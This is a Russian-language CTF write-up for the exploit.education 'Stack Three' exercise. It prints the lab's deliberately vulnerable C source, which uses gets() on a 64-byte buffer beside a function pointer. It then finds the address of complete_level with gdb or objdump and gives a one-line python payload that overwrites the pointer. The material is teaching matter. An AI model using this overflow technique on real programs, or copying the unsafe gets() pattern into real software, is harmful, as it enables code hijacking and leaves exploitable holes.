Изучение PWN #4

Изучение PWN #4

Михаил

Полезная информация по ИБ и разборы задачек CTF.

Предыдущая задача - Изучение PWN #3.

Четвертая задача с exploit.education - Stack Three.

Исходники:

char *gets(char *);
void complete_level() {
 printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
 exit(0);
}
int main(int argc, char **argv) {
 struct {
  char buffer[64];
  volatile int (*fp)();
 } locals;
 printf("%s\n", BANNER);
 locals.fp = NULL;
 gets(locals.buffer);
 if (locals.fp) {
  printf("calling function pointer @ %p\n", locals.fp);
  fflush(stdout);
  locals.fp();
 } else {
  printf("function pointer remains unmodified :~( better luck next time!\n");
 }
 exit(0);
}

Суть этого уровня в том, чтобы передать выполнение на функцию complete_level(), которая никак не вызывается в коде программы.

Указатель fp является локальной переменной и, если мы переполним буфер, то сможем потенциально изменить значение fp, так как он находится в том же кадре стека. Условный оператор if проверяет, что fp не равен нулю. Если это так, он вызовет указатель функции fp на любой адрес памяти, сохраненный в нем.

Для того, чтобы это сделать, нам надо узнать адрес функции win(), сделать это можно двумя способами, через отладчик GDB или же через программу Objdump, которая позволяет просмотреть информацию об объектных файлах.

1 способ:

gdb -q ./stack-three
disass complete_level

Видим адрес начала функции: 0x40069d

2 способ:

objdump -d ./stack-three | grep complete_level

Итоговая эксплуатация:

python -c "print 'a'*64 + '\x40\x06\x9d'[::-1]" | ./stack-three

Следующий уровень

Report Page